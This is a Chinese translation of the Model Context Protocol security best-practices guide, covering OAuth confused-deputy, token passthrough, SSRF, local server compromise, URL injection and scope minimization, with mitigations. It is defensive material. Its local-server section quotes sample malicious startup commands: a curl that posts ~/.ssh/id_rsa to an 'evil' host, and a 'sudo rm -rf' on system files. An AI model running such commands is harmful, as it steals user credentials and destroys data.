安全最佳实践

MCP中文文档

MCP 开发者文档

安全最佳实践

社区译文；来源： MCP 80041ab0

简介

目的和范围

本文档说明模型上下文协议（MCP）的安全注意事项，作为 MCP 授权规范的补充，并识别 MCP 实现特有的安全风险、攻击向量与最佳实践。

本文档主要面向实现 MCP 授权流程的开发者、MCP 服务器运维人员，以及评估 MCP 系统的安全专业人员。阅读本文档时，应同时参考 MCP 授权规范和 OAuth 2.0 安全最佳实践。

攻击和缓解

本节详细描述了对 MCP 实现的攻击，以及潜在的对策。

混淆代理问题

攻击者可以利用连接第三方 API 的 MCP 代理服务器制造“混淆代理”漏洞。恶意客户端可组合利用静态客户端 ID、动态客户端注册和同意 cookie，在用户未作出适当授权的情况下取得授权码。

术语

MCP 代理服务器: 将 MCP 客户端连接到第三方 API 的 MCP 服务器。它在提供 MCP 功能的同时委派操作，并作为第三方 API 服务器的单一 OAuth 客户端。
第三方授权服务器: 保护第三方 API 的授权服务器。它可能不支持动态客户端注册，因此要求 MCP 代理对所有请求使用静态客户端 ID。
第三方 API: 提供实际 API 功能的受保护资源服务器。访问该 API 需要使用第三方授权服务器颁发的 token。
静态客户端 ID: MCP 代理服务器与第三方授权服务器通信时使用的固定 OAuth 2.0 客户端标识符。该客户端 ID 标识的是充当第三方 API 客户端的 MCP 服务器。无论请求由哪个 MCP 客户端发起，MCP 服务器与第三方 API 的所有交互都使用同一个值。

易受攻击的条件

当以下所有条件都存在时，此攻击成为可能：

MCP 代理服务器使用静态客户端 ID 与第三方授权服务器交互
MCP 代理服务器允许 MCP 客户端动态注册（每个客户端都有自己的 client_id）
第三方授权服务器在首次授权后设置同意 cookie
MCP 代理服务器在转发到第三方授权之前未实施适当的每个客户端同意

架构和攻击流程

正常的 OAuth 代理使用（保留用户同意）

  sequenceDiagram
    participant UA as User-Agent (Browser)
    participant MC as MCP Client
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server

    Note over UA,M: Initial Auth flow completed

    Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server

    M->>UA: Redirect to third party authorization server
    UA->>TAS: Authorization request (client_id: mcp-proxy)
    TAS->>UA: Authorization consent screen
    Note over UA: Review consent screen
    UA->>TAS: Approve
    TAS->>UA: Set consent cookie for client ID: mcp-proxy
    TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
    UA->>M: 3P Authorization code
    Note over M,TAS: Exchange 3P code for 3P token
    Note over M: Generate MCP authorization code
    M->>UA: Redirect to MCP Client with MCP authorization code

    Note over M,UA: Exchange code for token, etc.

恶意的 OAuth 代理使用（跳过用户同意）

  sequenceDiagram
    participant UA as User-Agent (Browser)
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server
    participant A as Attacker


    Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
    A->>M: Dynamically register malicious client, redirect_uri: attacker.com
    A->>UA: Sends malicious link
    UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
    rect rgba(255, 17, 0, 0.67)
    TAS->>TAS: Cookie present, consent skipped
    end

   TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
   UA->>M: 3P Authorization code
   Note over M,TAS: Exchange 3P code for 3P token
   Note over M: Generate MCP authorization code
   M->>UA: Redirect to attacker.com with MCP Authorization code
   UA->>A: MCP Authorization code delivered to attacker.com
   Note over M,A: Attacker exchanges MCP code for MCP token
   A->>M: Attacker impersonates user to MCP server

攻击描述

当 MCP 代理服务器使用静态客户端 ID 向第三方授权服务器进行身份验证时，以下攻击成为可能：

用户通过 MCP 代理服务器正常完成身份验证，以访问第三方 API
在此流程中，第三方授权服务器在用户代理上设置 cookie，表示用户已同意静态客户端 ID 的访问
随后，攻击者向用户发送恶意链接，其中包含精心构造的授权请求、恶意重定向 URI，以及新动态注册的客户端 ID
用户点击链接时，浏览器仍保留上一次合法请求产生的同意 cookie
第三方授权服务器检测到该 cookie，因而跳过同意页面
MCP 授权码被重定向到攻击者的服务器；该地址由动态客户端注册期间提交的恶意 redirect_uri 参数指定
攻击者在用户未明确批准的情况下，用窃取的授权码换取 MCP 服务器的访问 token
攻击者由此冒充受害用户访问第三方 API

缓解措施

为防止混淆代理攻击，MCP 代理服务器 MUST 按客户端获取同意，并实施下述安全控制。

同意流程实施

下图显示了如何正确实施在第三方授权流程之前运行的每个客户端同意：

  sequenceDiagram
    participant Client as MCP Client
    participant Browser as User's Browser
    participant MCP as MCP Server
    participant ThirdParty as Third-Party AuthZ Server

    Note over Client,ThirdParty: 1. Client Registration (Dynamic)
    Client->>MCP: Register with redirect_uri
    MCP-->>Client: client_id

    Note over Client,ThirdParty: 2. Authorization Request
    Client->>Browser: Open MCP server authorization URL
    Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...

    alt Check MCP Server Consent
        MCP->>MCP: Check consent for this client_id
        Note over MCP: Not previously approved
    end

    MCP->>Browser: Show MCP server-owned consent page
    Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
    Browser->>MCP: POST /consent (approve)
    MCP->>MCP: Store consent decision for client_id

    Note over Client,ThirdParty: 3. Forward to Third-Party
    MCP->>Browser: Redirect to third-party /authorize
    Note over MCP: Use static client_id for third-party

    Browser->>ThirdParty: Authorization request (static client_id)
    ThirdParty->>Browser: User authenticates & consents
    ThirdParty->>Browser: Redirect with auth code

    Browser->>MCP: Callback with third-party code
    MCP->>ThirdParty: Exchange code for token (using static client_id)
    MCP->>Browser: Redirect to client's registered redirect_uri

所需的保护

每个客户端的同意存储

MCP 代理服务器 MUST：

维护每个用户批准的 client_id 值的注册表
在启动第三方授权流程之前检查此注册表
安全地存储同意决定（服务器端数据库或服务器特定的 cookie）

同意 UI 要求

MCP 层的同意页面 MUST：

按名称清楚地标识请求的 MCP 客户端
显示正在请求的特定第三方 API 作用域
显示将发送令牌的已注册 redirect_uri
实施 CSRF 保护（例如，状态参数、CSRF 令牌）
通过 frame-ancestors CSP 指令或 X-Frame-Options: DENY 防止 iframing，以防止点击劫持

同意 Cookie 安全性

如果使用 cookie 跟踪同意决定，这些 cookie MUST：

对 cookie 名称使用 __Host- 前缀
设置 Secure、HttpOnly 和 SameSite=Lax 属性
进行加密签名或使用服务器端会话
绑定到特定的 client_id（而不仅仅是"用户已同意"）

重定向 URI 验证

MCP 代理服务器 MUST：

验证授权请求中的 redirect_uri 与注册的 URI 完全匹配
如果 redirect_uri 在未重新注册的情况下发生变化，则拒绝请求
使用精确的字符串匹配（而不是模式匹配或通配符）

OAuth 状态参数验证

OAuth state 参数对于防止授权代码拦截和 CSRF 攻击至关重要。正确的状态验证可确保在授权端点的同意批准在回调端点得到强制执行。

实现 OAuth 流程的 MCP 代理服务器 MUST：

为每个授权请求生成加密安全的随机 state 值
仅在明确批准同意后在服务器端存储 state 值（在安全会话存储或加密 cookie 中）
在重定向到第三方身份提供商之前立即设置 state 跟踪 cookie/会话（而不是在同意批准之前）
在回调端点验证 state 查询参数与回调请求的 cookie 中或基于 cookie 的会话中的存储值完全匹配
拒绝任何缺少 state 参数或不匹配的回调请求
确保 state 值是单次使用的（验证后删除）并且具有短的过期时间（例如，10 分钟）

包含 state 值的同意 cookie 或会话，在用户通过 MCP 服务器授权端点的同意页面之后才可设置，MUST NOT 提前设置。若在用户同意前设置，攻击者便可构造恶意授权请求绕过同意页面，使其失去作用。

Token 透传

“Token 透传”是一种反模式：MCP 服务器接收 MCP 客户端提交的 token，却不验证该 token 是否正确颁发_给 MCP 服务器_，随后又将其原样传给下游 API。

如果 MCP 服务器接受原本颁发给其他资源的 token，攻击者便可能获得未授权访问，或以其他方式攻陷该服务器。此漏洞包含两个关键方面：

Audience 验证失败。 如果 MCP 服务器不验证 token 是否专门签发给自己，例如不校验 RFC9068 所述的 audience 声明，就可能接受原本颁发给其他服务的 token。这会破坏 OAuth 的基本安全边界，使攻击者能在非预期服务中复用合法 token。
Token 透传。 如果 MCP 服务器不仅接受 audience 错误的 token，还将其未经修改地转发给下游服务，就可能造成“混淆代理”问题：下游 API 可能误以为 token 来自 MCP 服务器，或误认为上游 API 已经完成验证。

风险

授权规范明确禁止 token 透传，因为它会引入以下安全风险：

安全控制绕过
- MCP 服务器或下游 API 可能实施重要的安全控制，如速率限制、请求验证或流量监控，这些控制依赖于令牌受众或其他凭据约束。如果客户端可以直接使用下游 API 的令牌而无需 MCP 服务器正确验证它们或确保令牌是为正确的服务颁发的，它们就会绕过这些控制。
问责和审计跟踪问题
- 当客户端使用上游颁发的访问令牌（对 MCP 服务器可能是不透明的）进行调用时，MCP 服务器将无法识别或区分 MCP 客户端。
- 下游资源服务器的日志可能显示来自具有不同身份的不同源的请求，而不是实际转发令牌的 MCP 服务器。
- 这两个因素使事件调查、控制和审计变得更加困难。
- 如果 MCP 服务器在不验证其声明（例如，角色、特权或受众）或其他元数据的情况下传递令牌，拥有被盗令牌的恶意行为者可以使用服务器作为数据渗透的代理。
信任边界问题
- 下游资源服务器向特定实体授予信任。这种信任可能包括关于来源或客户端行为模式的假设。打破这种信任边界可能导致意外问题。
- 如果令牌在没有适当验证的情况下被多个服务接受，则破坏一个服务的攻击者可以使用该令牌访问其他连接的服务。
未来兼容性风险
- 即使 MCP 服务器今天作为"纯代理"开始，它可能需要稍后添加安全控制。从正确的令牌受众分离开始，更容易演变安全模型。

缓解措施

MCP 服务器 MUST NOT 接受任何并非明确颁发给该 MCP 服务器的 token。

服务端请求伪造（SSRF）

服务端请求伪造（SSRF）是指攻击者诱导 MCP 客户端向非预期目标发起 HTTP 请求，从而可能访问内部网络资源、云元数据端点或其他受保护服务。

攻击描述

在 OAuth 元数据发现过程中，MCP 客户端会从多个来源获取 URL，而这些来源可能受恶意 MCP 服务器控制：

resource_metadata URL，取自 WWW-Authenticate 头
受保护资源元数据文档中的 authorization_servers URL
授权服务器元数据中的 token_endpoint、authorization_endpoint 及其他 URL

恶意 MCP 服务器可在这些字段中填入指向内部资源的 URL，从而实施以下攻击：

直接访问内部 IP：使用 http://192.168.1.1/admin 或 http://10.0.0.1/api 等 URL 访问内部网络服务
云元数据端点：以 http://169.254.169.254/（AWS/GCP/Azure 元数据服务）为目标，窃取云凭据和实例信息
本地主机服务：使用 http://localhost:6379/ 等 URL 与本地服务交互，例如 Redis、数据库或管理面板
DNS 重绑定：域名在验证与实际使用之间改变 DNS 解析结果，例如 https://attacker.com 最初解析到安全 IP，随后解析到 192.168.1.1
重定向链：外观正常的 URL 最终重定向到内部资源

  sequenceDiagram
    participant Client as MCP Client
    participant MCP as Malicious MCP Server
    participant Internal as Internal Service

    Client->>MCP: Connect to MCP server
    MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."

    Note over Client: Client follows URL without validation
    Client->>Internal: GET http://169.254.169.254/latest/meta-data/
    Internal-->>Client: Cloud credentials/metadata

    Note over Client: Error or response details leak to attacker
    Client->>MCP: Subsequent request with error details

风险

凭据外泄：云元数据端点通常会暴露 IAM 凭据、API 密钥和其他机密
内部网络侦察：错误消息会泄露内部网络拓扑和服务信息
服务交互：POST 请求（例如发往 token 端点的请求）可能触发内部服务的数据变更
绕过防火墙：MCP 客户端充当代理，绕过网络边界控制
数据外泄：内部服务的响应可能通过错误消息或 OAuth 流程返回给攻击者

缓解措施

部署在服务器上的 MCP 客户端，在获取 OAuth 相关 URL 时 MUST 考虑 SSRF 风险并实施适当的缓解措施。具体采用哪些保护取决于所在网络环境。

强制使用 HTTPS

在生产环境中，MCP 客户端 SHOULD 要求所有 OAuth 相关 URL 使用 HTTPS：

拒绝 http:// URL；开发期间使用环回地址（localhost、127.0.0.1、::1）时除外
这与 OAuth 2.1 第 1.5 节一致：除环回重定向 URI 外，所有 OAuth 协议 URL 都必须使用 HTTPS
为开发和测试场景提供明确的退出机制

阻止私有 IP 地址范围

MCP 客户端 SHOULD 按照 RFC 9728 第 7.7 节的建议，阻止发往私有和保留 IP 地址范围的请求：

私有 IPv4 范围：10.0.0.0/8、172.16.0.0/12、192.168.0.0/16
环回地址：127.0.0.0/8、::1（明确允许用于开发时除外）
链路本地地址：169.254.0.0/16（包括云元数据端点）
私有 IPv6 范围：fc00::/7、fe80::/10

避免自行实现 IP 验证。攻击者会利用自定义解析器经常漏掉的编码技巧，例如八进制、十六进制和 IPv4 映射的 IPv6 地址。

验证重定向目标

MCP 客户端 SHOULD 对重定向目标应用相同的 URL 验证：

不要盲目跟随指向内部资源的重定向
对重定向目标同样执行 HTTPS 和 IP 范围限制
考虑关闭自动跟随重定向，并逐跳验证

使用出站代理

对于部署在服务器端的 MCP 客户端，运维人员 SHOULD 考虑使用能够强制执行网络策略的出站代理：

让 OAuth 发现请求经过可阻止内部目标的代理
使用 Smokescreen 或类似的出站代理，从设计上防止 SSRF
配置网络策略，限制 MCP 客户端的出站访问

DNS 解析注意事项

使用基于 DNS 的验证时，应注意检查时与使用时不一致（TOCTOU）的问题：

攻击者的域名在验证时可能解析到安全 IP，而在实际请求时解析到内部 IP
考虑在检查与使用之间固定 DNS 解析结果
采用纵深防御，将 DNS 检查与其他缓解措施结合使用

针对授权服务器的 SSRF

SSRF 风险并不只存在于 MCP 客户端。授权服务器支持客户端 ID 元数据文档时，会接收未知客户端提交的 URL 并获取其内容。恶意客户端可借此诱导授权服务器请求任意 URL，例如访问只有该授权服务器能够到达的私有管理端点。

上述缓解措施（例如阻止私有 IP 范围和使用出站代理）同样适用于获取客户端元数据文档的授权服务器。进一步指导请参阅客户端 ID 元数据文档规范中的服务端请求伪造（SSRF）攻击。

资源与工具

以下资源可帮助开发者在 MCP 客户端中实现 SSRF 防护。

参考文档

OWASP SSRF 防护速查表：全面介绍 SSRF 防护技术，包括输入验证、允许列表策略和网络层控制
OWASP Top 10 A10:2021 - SSRF：从最关键 Web 应用安全风险的角度说明 SSRF

状态句柄劫持

MCP 不维护状态，也不存在协议层会话。若服务器需要让状态跨越多个请求，就会签发显式句柄，例如购物车 ID 或工作流 ID，并在每次请求中将其作为普通工具参数接收。状态句柄劫持是指未授权方获取或猜出此类句柄，并用它访问或修改其他用户的状态。

攻击描述

MCP 服务器为已通过身份验证的用户签发状态句柄，并在工具结果中返回
攻击者获取或猜出该句柄
攻击者调用 MCP 服务器的工具，并将句柄作为参数传入
MCP 服务器未检查句柄是否属于调用者，直接操作原用户的状态，造成未授权访问或操作

缓解措施

实现授权的 MCP 服务器 MUST 验证所有入站请求。MCP 服务器 MUST NOT 将持有状态句柄视为身份验证凭据。

MCP 服务器 SHOULD 使用安全随机数生成器生成不可预测的非确定性句柄，避免采用攻击者能够猜出的可预测或连续标识符。为句柄设置过期时间也能降低风险。

MCP 服务器 SHOULD 在服务端将句柄绑定到已通过身份验证的用户。例如，以 <user_id>:<handle> 作为状态存储键，其中用户 ID 必须从已验证的 token 中取得，而不能由客户端提供；任何其他主体提交该句柄时都应拒绝。这样即使攻击者猜出句柄，也无法冒充其他用户。

关于如何保护协议版本 2025-11-25 及更早版本使用的服务器分配会话 ID，请参阅本页 2025-11-25 版本中的会话劫持章节（英文）。

本地 MCP 服务器遭入侵

本地 MCP 服务器运行在用户自己的计算机上，可能由用户下载并执行、由用户自行编写，或通过客户端配置流程安装。这类服务器可能直接访问用户系统，也可能被同一计算机上的其他进程访问，因此很容易成为攻击目标。

攻击描述

本地 MCP 服务器是下载后在 MCP 客户端所在计算机上执行的二进制程序。如果缺少适当的沙箱与用户同意要求，可能发生以下攻击：

攻击者在客户端配置中加入恶意“启动”命令
攻击者在服务器本身内分发恶意负载
攻击者通过 DNS 重新绑定访问留在 localhost 上运行的不安全本地服务器

可能嵌入的恶意启动命令示例：

# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

风险

限制不足或来源不可信的本地 MCP 服务器会引入多项严重安全风险：

任意代码执行。攻击者能够以 MCP 客户端的权限执行任意命令。
缺乏可见性。用户无法了解实际执行了哪些命令。
命令混淆。恶意行为者可使用复杂、迂回的命令伪装成合法操作。
数据外泄。攻击者可通过遭篡改的 JavaScript 访问合法的本地 MCP 服务器。
数据丢失。攻击者或合法服务器中的缺陷都可能造成主机数据不可恢复地丢失。

缓解措施

如果 MCP 客户端支持一键配置本地 MCP 服务器，则在执行命令前 MUST 实施适当的用户同意机制。

配置前同意

通过一键配置连接新的本地 MCP 服务器前，应显示清晰的同意对话框。MCP 客户端 MUST：

显示将执行的确切命令，不得截断（包括命令参数和选项）
清楚地标识它为在用户系统上执行代码的潜在危险操作
要求明确的用户批准才能继续
允许用户取消配置

MCP 客户端 SHOULD 增加检查与防护措施，以缓解潜在的代码执行攻击：

突出显示可能危险的命令模式，例如包含 sudo、rm -rf、网络操作或访问预期目录之外文件系统的命令
对访问敏感位置的命令显示警告，例如主目录、SSH 密钥和系统目录
警告用户 MCP 服务器将以与客户端相同的权限运行
在默认权限最小化的沙箱环境中执行 MCP 服务器命令
启动 MCP 服务器时限制其访问文件系统、网络及其他系统资源
在确有需要时，让用户能够明确授予额外权限，例如特定目录访问权或网络访问权
使用适合所在平台的沙箱技术，例如容器、chroot 或应用沙箱
持续更新沙箱方案，以应对新出现的漏洞

预期在本地运行的 MCP 服务器 SHOULD 采取措施，防止恶意进程未经授权地使用服务器：

使用 stdio 传输将访问限制为仅 MCP 客户端
如果使用 HTTP 传输，则限制访问，例如：
- 需要授权令牌
- 使用 unix 域套接字或其他具有受限访问的进程间通信 (IPC) 机制

OAuth 授权 URL 验证

恶意 MCP 服务器提供的 OAuth 授权 URL 可能利用客户端的 URL 处理漏洞，引发跨站脚本（XSS）攻击和远程代码执行（RCE）。

攻击描述

在 OAuth 授权流程中，MCP 服务器会提供授权 URL，由客户端在浏览器中打开或通过程序处理。恶意服务器可利用 MCP 客户端 URL 验证不足的问题实施以下攻击：

JavaScript URL 注入（XSS）

恶意 MCP 服务器提供以 javascript: 为 scheme 的 URL 作为授权端点
MCP 客户端将该 URL 直接传给 window.open() 或类似的浏览器 API
浏览器执行 URL 中嵌入的 JavaScript 代码
攻击者获得客户端应用内的 JavaScript 执行上下文，进而可能劫持会话、窃取凭据或继续利用其他漏洞

通过 shell 执行注入命令

恶意 MCP 服务器提供包含 shell 命令注入载荷的 URL
MCP 客户端使用 shell 命令（例如 cmd.exe、PowerShell 或 shell 脚本）打开 URL
shell 将 URL 的一部分解释为额外命令并执行
攻击者由此在用户系统上执行任意代码

通过 stdio 传输提升权限

当 XSS 漏洞与 stdio 传输能力结合时，攻击者可将 Web 攻击升级为对整个系统的入侵。详细攻击向量和缓解措施参见代理场景中的 stdio 传输安全。

  sequenceDiagram
    participant MaliciousMCP as Malicious MCP Server
    participant Client as MCP Client
    participant Proxy as MCP Proxy
    participant System as Host System

    MaliciousMCP->>Client: Malicious authorization URL (javascript:)
    Client->>Client: Execute JavaScript (XSS)
    Client->>Client: Extract proxy auth token
    Client->>Proxy: Malicious stdio command request
    Note over Client,Proxy: Using stolen authentication token
    Proxy->>System: Execute arbitrary command
    System-->>Proxy: Command output
    Proxy-->>Client: Command result
    Client-->>MaliciousMCP: Exfiltrate data/establish persistence

风险

OAuth 授权 URL 漏洞会引入多项严重安全风险：

跨站脚本（XSS）。执行恶意 JavaScript 可能导致会话劫持、凭据窃取，以及在客户端应用中执行未授权操作。
远程代码执行（RCE）。通过 shell 执行进行命令注入，使攻击者能够以用户权限运行任意代码。
权限提升。XSS 与 stdio 传输结合后，可将 Web 攻击升级为对整个系统的入侵。
数据外泄。攻击者可访问用户系统中存储的敏感数据、配置文件和凭据。
持久化控制。攻击者可安装恶意软件、建立后门或修改系统配置，以维持长期访问。

缓解措施

URL scheme 验证

MCP 客户端 MUST 验证授权 URL 并拒绝危险 scheme：

MUST 仅允许授权 URL 使用 http:// 和 https:// scheme。本地开发期间，http:// 只能用于环回地址，例如 localhost、127.0.0.1 或 ::1；生产环境中的授权服务器 MUST 使用 https://。
MUST 拒绝 javascript:、data:、file:、vbscript: 及其他潜在危险的 scheme
SHOULD 使用基于允许列表的验证，而不是基于阻止列表的方法

安全地打开 URL

MCP 客户端打开 URL 时 MUST 避免通过 shell 执行：

MUST NOT 使用 shell 命令（例如 cmd.exe、sh 或 PowerShell）打开 URL
SHOULD 使用平台专用且不经过 shell 的 URL 打开机制

内容安全策略（CSP）

基于 Web 的 MCP 客户端 SHOULD 实施内容安全策略头，防止执行 JavaScript：

设置 script-src 'self'，阻止执行内联 JavaScript
使用 default-src 'self' 限制资源加载
对需要内联脚本的动态内容，考虑使用 script-src 'nonce-<random>'

输入清理

MCP 客户端 MUST 清理并验证从 MCP 服务器收到的所有 URL：

实施严格的 URL 解析与验证
拒绝包含可能被 shell 解释的特殊字符的 URL
考虑使用专用的 URL 清理库
记录可疑授权 URL，用于安全监控

代理场景中的 stdio 传输安全

stdio 传输本身并非天然存在漏洞。但在代理架构中，如果独立代理服务负责管理 stdio 连接，并能将 MCP 服务器作为子进程启动，它就可能成为将 Web 攻击升级为整个系统入侵的关键路径。

攻击描述

重要：此攻击向量只适用于采用代理架构的 MCP 实现，不适用于直接使用 stdio 传输的场景。

在基于代理的 MCP 实现中，本地代理服务位于客户端与 MCP 服务器之间，通过 stdio 传输将服务器作为子进程启动。此架构与客户端漏洞结合时，会形成权限提升路径：

攻击者实现 XSS 或其他客户端代码执行，例如利用 OAuth URL 漏洞
恶意行为者利用上述攻击向量，从客户端环境中取得客户端与代理之间建立的 MCP 代理身份验证 token
恶意行为者向本地 MCP 代理服务发起经过身份验证的请求
代理误以为请求中包含合法的 MCP 服务器命令，通过 stdio 传输启动任意命令
攻击者以用户权限实现远程代码执行

风险

权限提升。Web 漏洞（XSS）可借助代理的命令执行能力，升级为在主机系统上执行任意代码。
绕过身份验证。窃取的代理身份验证 token 可用于未经授权地调用 stdio 进程启动能力。
系统遭入侵。攻击者能够执行 MCP 代理进程有权限运行的任意命令。

缓解措施

首要防线是防止能够触发此攻击向量的各类漏洞：

实施 OAuth 授权 URL 验证中介绍的缓解措施
使用内容安全策略（CSP），防止执行来自不可信来源的 JavaScript
处理 MCP 服务器输入前，验证并清理所有输入

由于 XSS 会从根本上破坏客户端的安全上下文，因此应着重限制其影响：

stdio 传输限制

MCP 代理服务 SHOULD 对 stdio 传输实施额外安全控制：

对启动的进程实施沙箱或容器隔离
限制已启动 MCP 服务器的文件系统访问权限
记录所有 stdio 传输使用情况，用于安全监控
对潜在危险命令要求额外授权

客户端保护

MCP 客户端 SHOULD 实施纵深防御措施：

尽可能在独立安全上下文中隔离代理通信
按最小权限原则配置代理进程权限
对代理服务本身实施进程级沙箱
考虑在容器或受限环境中运行代理

授权服务器混淆攻击

攻击描述

MCP 客户端在其生命周期中通常会与多个授权服务器交互。控制其中一个授权服务器的攻击者，可能设法让客户端把另一个可信授权服务器颁发的授权码或 token 发送给自己。这就是 RFC9207 第 1 节所述的授权服务器混淆攻击。

缓解措施

授权响应验证将响应绑定到客户端在重定向前记录的授权服务器，防止授权码在非预期的 token 端点兑换，从而缓解此攻击。仅使用 PKCE 无法阻止攻击，因为客户端仍会把 code_verifier 发送到攻击者的 token 端点。如果攻击者的授权服务器在请求到达可信授权服务器之前将其拦截，资源指示符也无济于事。此缓解措施依赖可信授权服务器发送 iss；若可信服务器不发送该字段，就无法提供保护。

Localhost 重定向 URI 冒充

原生或在本地运行的 MCP 客户端通常使用 localhost 重定向 URI。当客户端通过客户端 ID 元数据文档标识自身时，元数据文档可以证明其控制某个域名，却无法证明具体哪个本地进程正在监听 localhost 重定向 URI。

攻击描述

攻击者可以通过以下方式冒充任意客户端：

将合法客户端的元数据 URL 用作自己的 client_id
绑定任意 localhost 端口，并将该地址作为 redirect_uri
用户批准后，通过重定向接收授权码

服务器看到的是合法客户端的元数据文档，用户看到的也是合法客户端名称，因此很难发现攻击。

缓解措施

授权服务器应采取的对策请参阅授权规范中的 Localhost 重定向 URI 风险，其中包括：对仅使用 localhost 的重定向 URI 显示额外警告，并在授权期间清楚展示重定向 URI 的主机名。

CIMD 信任策略

接受客户端 ID 元数据文档的授权服务器，可采用基于域名的信任策略，决定接受哪些基于 URL 的客户端 ID：

为可信域名配置允许列表（适用于受保护服务器）
接受任何 HTTPS client_id（适用于开放服务器）
对未知域名执行信誉检查
根据域名注册时长或证书验证结果施加限制
醒目显示 CIMD 及其他关联客户端主机名，防止网络钓鱼

服务器对自身访问策略拥有完全控制权。更多信息参见授权规范中的信任策略，以及客户端 ID 元数据文档规范的第 6.4 节和第 6.8 节。

作用域最小化

不合理的 scope 设计会扩大 token 泄露的影响，增加用户操作阻力，并使审计记录难以辨识。

攻击描述

攻击者通过日志泄漏、内存抓取或本地拦截，获得带有宽泛 scope（files:*、db:*、admin:*）的访问 token。之所以会预先授予这些 scope，是因为 MCP 服务器在 scopes_supported 中暴露了全部 scope，而客户端又请求了所有 scope。此类 token 可用于横向访问数据和串联权限；若不让用户对整个权限面重新授权，也很难完整撤销。

风险

影响范围扩大：被盗的宽权限 token 可访问无关工具或资源
撤销成本更高：撤销最高权限 token 会中断所有工作流
审计噪声增加：单一的综合 scope 掩盖了用户对每项操作的真实意图
权限串联：攻击者无需进一步的权限提升提示，即可调用高风险工具
用户放弃授权：用户可能直接关闭列出过多 scope 的对话框
无法察觉 scope 膨胀：缺少度量会使过宽的请求逐渐成为常态

缓解措施

实施渐进式的最小权限 scope 模型：

使用最小初始 scope 集（例如 mcp:tools-basic），只包含低风险的发现和读取操作
首次尝试特权操作时，通过定向的 WWW-Authenticate scope="..." 质询逐步提升权限
容许缩减 scope：服务器应接受 scope 较少的 token；授权服务器 MAY 只颁发所请求 scope 的一个子集

服务器指南：

发出精确的作用域挑战；避免返回完整目录
使用相关 ID 记录提升事件（请求的作用域、授予的子集）

服务器可以灵活决定质询中包含哪些 scope：

最小方案：只包含触发错误的具体操作所需的 scope。
推荐方案：包含当前操作所需的 scope，以及通常需要配合使用的相关 scope，以减少逐步授权的轮次。
扩展方案：包含当前操作所需的 scope、相关 scope，以及服务器预计客户端近期可能需要的其他 scope。

具体选择取决于服务器对用户体验影响和授权阻力的评估。

客户端指南：

仅从基线作用域（或初始 WWW-Authenticate 指定的作用域）开始
缓存最近的失败，以避免对拒绝的作用域重复提升循环

当初始 WWW-Authenticate 质询不包含 scope 参数时，Scope 选择策略要求客户端回退为请求 scopes_supported 中列出的所有 scope。此方案适应了 MCP 客户端的通用性质：这类客户端通常缺少特定领域知识，无法对单个 scope 作出可靠选择。请求全部可用 scope 后，可由授权服务器和最终用户在同意流程中确定适当权限，在遵循最小权限原则的同时减少用户操作阻力。

跨操作累积 scope 是客户端的责任。发起重新授权时，客户端 SHOULD 对先前请求的 scope 与新质询要求的 scope 求并集，具体见逐步授权流程。这样服务器无需保存客户端 scope 集的状态，同时能确保客户端不丢失先前已授予的权限。

分层 scope：有些授权服务器定义了 scope 层级，较宽的 scope 会包含较窄的 scope，例如 admin 包含 read。累积 scope 时，客户端求得的并集可能包含语义重复项。例如，先前已获较宽 scope 的 token，可能又收到它本已涵盖的较窄 scope 质询。客户端无需按层级去重；授权服务器通常会在颁发 token 时规范化这些冗余项。服务器在判断 token 是否足以执行某项操作时必须考虑层级关系，但这不影响服务器在质询中发出的 scope。

常见错误

在 scopes_supported 中发布所有可能的 scope
使用通配符或综合 scope（*、all、full-access）
捆绑无关的权限以预先阻止未来的提示
在每次质询中返回完整 scope 目录
不经版本控制便静默更改 scope 语义
仅凭 token 声明的 scope 判定权限，不执行服务端授权逻辑

恰当的最小化能够限制 token 泄露的影响，使审计更清晰，并减少用户放弃授权的情况。

SDK 本地服务器安全